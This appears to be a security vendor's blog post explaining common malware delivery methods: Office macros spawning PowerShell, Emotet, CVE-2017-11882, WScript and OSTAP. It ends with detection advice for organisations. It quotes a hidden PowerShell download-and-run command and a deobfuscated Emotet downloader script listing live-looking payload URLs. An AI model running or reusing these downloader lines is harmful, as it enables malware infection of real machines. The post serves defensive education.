Special delivery: common malware propagation methods

In this post, we hope to demystify some of the most common malware delivery methods that modern threat actors use to deliver their malicious payloads. Understanding how these methods work is essential to spotting malicious activity in your organisation and potentially saving both money and time spent on recovery. This is by no means an exhaustive list, but an explanation of how the most common methods work in relatively technical terms.

Office Macro to PowerShell

The most common method of malware delivery we see targeting corporate clients makes use of a Microsoft Office document macro to spawn PowerShell which then downloads and executes the payload. There are innumerable different variants of this method, as it is so popular. We will look at two examples: one basic method and another slightly more complex technique that has been used to deliver Emotet (the “most dangerous” malware in the world). These kinds of lures are almost always delivered via email.

There is one major drawback to the success of both methods: the victim must enable macros for the code to execute. Normally the document will contain a lure in order to convince the victim to do this, such as a refund payment, a work-related issue, or, more pertinently in today’s climate, something to do with the coronavirus.

The Basic Technique

Here we can see how LokiBot, a common information stealer, is delivered via an Excel document. A macro is used to spawn PowerShell which then downloads and runs the malicious payload:

The macro spawns PowerShell with the following options:

powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient)
(New-Object -com Shell.Application).ShellExecute($env:Temp+'\newfile.Exe')
  • -W hidden is used in order to hide the PowerShell window from the user
  • Net.WebClient is used to download a file from a remote host and save it in the temp directory
  • Application.ShellExecute is used to execute the downloaded file.
Emotet Delivery

Next, we’re going to explore a recent Emotet delivery document that also used a macro to spawn PowerShell.

This time we can’t immediately see what is happening, as the PowerShell has been Base64 encoded:






Decoding the Base64, the script is still quite heavily obfuscated, but we can see that the script contains a list of payload URLs which it will attempt to download using System.Net.WebClient. Essentially, this works in the same way as the previous example, but it is slightly harder to detect and much harder to read:

$Tnruwlaofz=’Pexcwbzdzzl’;$Ugxaxthtt = ‘967’;$Rvjnhzjnlwyd=’Wtzfhriv’;$Btvvfjqxwpxh=$env:userprofile+’\’+$Ugxaxthtt+’.exe’;$Ksujitbsqct=’Rsngcsbet’;$Rimqydle=.(‘ne’+’w-obj’+’ect’) Net.wEBcLIeNt;$Traagklj=’http://fxvipmaster.com/wp-admin/v9u5k3/*https://celebritytoo.com/wp-content/gy/*http://cuahangphongthuy.net/ynibgkd65jf/2Xo/*http://onlyyoursitebest.xyz/wp-admin/Ad/*http://www.6666888.xyz/wp-admin/z96O9dqFs/’.”SP`LiT”([char]42);$Ggzgrmlvvtdp=’Ervgmwkr’;foreach($Uxoahequkrrs in $Traagklj){try{$Rimqydle.”do`wNL`oa`DFiLe”($Uxoahequkrrs, $Btvvfjqxwpxh);$Mukgdymrq=’Cuuaeryj’;If ((&(‘Get’+’-‘+’Item’) $Btvvfjqxwpxh).”lE`NgtH” -ge 28821) {[Diagnostics.Process]::”StA`Rt”($Btvvfjqxwpxh);$Hgxbfxge=’Sruwbfsxgmy’;break;$Cxafiflidujme=’Soklonjc’}}catch{}}$Cmgmebeb=’Derxzzgpwkkxx’

CVE-2017-11882 – Equation Editor

This is a 14-year-old flaw in Microsoft Office that exploits a memory corruption vulnerability in EQNEDT32.exe. Exploiting it can allow an attacker to run code on a target machine without any interaction from the victim. As such, it’s a serious step up from the previous two techniques.

In the above example we can see how the victim received an Excel document in XLSX format. Without any user interaction a payload is downloaded and executed. Crucially, XLSX (rather than XLSM) should not be able to execute macros at all.

We frequently see this exploit being used to deliver Agent Tesla, Pony and other off-the-shelf stealer malware, even though the flaw was patched in November 2017. This is possibly because builders for this exploit still sell very well on dark web forums.

WScript (Windows Script Host)

Wscript.exe or Windows Script Host is included by default on all modern versions of Microsoft Windows. It is used to execute scripts written in various programming languages such as JavaScript, Jscript and VBScript. Attackers will often place a heavily obfuscated script inside a zip or RAR archive and attach this archive to an email.

As with other methods described above, social engineering is still a large part of the success of these campaigns. As such, the email, in this case, will usually leverage a topic that requires urgent action on the part of the victim, luring them into opening the archive and double-clicking the script. As soon as the recipient of the email does this, Windows launches the script with wscript.exe.

As you can see in the above execution graph, the victim opens an email, opens a compressed attachment (using winrar) and then double clicks the script. Wscript.exe then runs the script which spawns PowerShell. The PowerShell is obfuscated to slow down analysis but after reversing the obfuscation we found that it worked in the same way as previous examples, by downloading and executing a payload from a remote host.


OSTAP is worth mentioning as it works slightly differently to regular malicious documents: it will only execute on Windows 10 machines because it requires a macro hook that is only available on Windows 10.

OSTAP uses a combination of Jscript (via wscript.exe) and macros in order to download and execute a malicious payload from a remote host. It has recently been observed delivering TrickBot. Again, however, the victim needs to enable macros for OSTAP to work.

Unlike previous examples, wscript.exe is not used to spawn PowerShell. Instead, native JScript is used so PowerShell isn’t required. We recently published an in-depth look at de-obfuscating OSTAP which can be found here.


As you can see, Microsoft Office documents are one of the main tools used by cybercriminals to deliver malware. We do not expect this to change in the near future, because each of these methods is extremely effective. In terms of defending against these threats, relying on users to spot these kinds of documents has proved utterly ineffectual.

Of course, it is best to detect these documents before they reach the end user’s machine, but this will also never be 100% effective. What we can do though is monitor for unusual activity, such as winword.exe spawning PowerShell on the reception desk computer. Because this is not a process flow you would expect to see on this machine, alarm bells should be raised, and incident response triggered.

Another notable point is that many organisations place the newer Office document formats such as docx, xlsx, and others, on a whitelist, because the file format does not allow macros to be saved inside the document. This, however, is extremely risky. Macros can still be loaded into the document using remote template injection at run time, meaning that this infection method remains effective even in newer Office formats. Furthermore, as we saw with CVE-2017-11882, exploits that allow for code execution without any user interaction have a long shelf life and will persist in Microsoft Office for some time after they are patched.

Scroll to Top